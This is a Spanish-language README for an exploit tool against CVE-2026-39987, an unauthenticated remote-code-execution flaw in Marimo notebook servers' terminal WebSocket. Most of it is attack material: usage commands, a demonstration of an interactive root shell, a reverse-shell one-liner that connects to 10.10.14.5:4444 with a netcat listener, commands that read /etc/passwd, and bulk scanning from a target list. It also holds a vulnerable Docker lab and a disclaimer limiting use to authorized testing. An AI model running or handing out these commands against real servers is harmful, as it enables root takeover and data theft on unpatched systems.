
Exploit para RCE pre-autenticación en Marimo a través de WebSocket de terminal, que proporciona ejecución de comandos, shell PTY interactiva y capacidades de shell inversa para pruebas de penetración autorizadas.
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
WebSocket RCE No Autenticado | github.com/Ghxstsec/CVE-2026-39987
Marimo (19.6k ⭐) es un servidor de notebooks Python reactivo de código abierto. Las versiones ≤ 0.20.4 exponen un endpoint WebSocket de terminal (/terminal/ws) que omite por completo la autenticación, incluso cuando la autenticación está habilitada en el servidor.
Una única conexión WebSocket no autenticada produce un shell interactivo PTY completo. En implementaciones Docker predeterminadas, los comandos se ejecutan como root.
Estado: Parcheado en
0.23.0— marimo-team/marimo@c24d480
El endpoint /terminal/ws carece de la llamada validate_auth() presente en todos los demás endpoints autenticados:
# ❌ /terminal/ws — sin comprobación de autenticación (vulnerable)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
# ¡Sin comprobación de autenticación!
await websocket.accept() # acepta directamente
child_pid, fd = pty.fork() # genera un shell PTY
# ✅ /ws — correctamente autenticado
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # autenticación aplicada
return
El AuthenticationMiddleware de Marimo marca las conexiones no autenticadas como UnauthenticatedUser pero no las rechaza — la aplicación depende completamente de decoradores por endpoint o llamadas validate_auth(). /terminal/ws no tiene ninguna de las dos.
1. Conectar a ws(s)://OBJETIVO/terminal/ws → no se requiere token
2. websocket.accept() → conexión aceptada
3. pty.fork() → shell PTY generado
4. Enviar cualquier comando → RCE arbitrario como root
| Software | Vulnerable | Parcheado |
|---|---|---|
| Marimo | ≤ 0.20.4 | ≥ 0.23.0 |
pip install -r requirements.txt
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"
Accede directamente a un shell interactivo a través del WebSocket — no se necesita listener:
python3 CVE-2026-39987.py -u target.htb -i
[+] Shell interactivo — escribe comandos, Ctrl+C o 'exit' para salir
root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root
Al usar un payload de reverse shell, separa el proceso del PTY con nohup ... &
para que sobreviva al cierre de la conexión WebSocket:
# Configura el listener primero
nc -lvnp 4444
# Luego lanza el payload
python3 CVE-2026-39987.py -u target.htb \
-c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"
⚠️ Sin
nohup ... &, el proceso del shell está vinculado al PTY y se elimina cuando el WebSocket se cierra. Usa-ipara un shell directo onohuppara reverse shells.
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3
-u URL, --url URL URL de objetivo único o host
-l LIST, --list LIST archivo con objetivos, uno por línea
-c CMD, --cmd CMD comando a ejecutar (predeterminado: id && cat /root/root.txt)
-p PATH, --path PATH ruta del endpoint WebSocket (predeterminado: /terminal/ws)
-t SEC, --timeout SEC segundos de silencio antes de rendirse (predeterminado: 2)
-d SEC, --delay SEC retraso posterior a la conexión antes de drenar el banner (predeterminado: 1)
-i, --interactive shell PTY interactivo — mantiene la conexión abierta
--verify habilita la verificación del certificado SSL (deshabilitada por defecto)
-q, --quiet suprime mensajes de estado, solo salida
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
[*] Objetivo : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] Modo : comando
[*] Comando : id && cat /root/root.txt
[*] Conectando...
[*] Drenando banner...
[+] Enviando payload...
[+] Salida:
uid=0(root) gid=0(root) groups=0(root)
HTB{...}
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas.
El autor no es responsable de ningún uso indebido o daño causado por esta herramienta.
Obtén siempre la autorización adecuada antes de probar cualquier sistema que no poseas.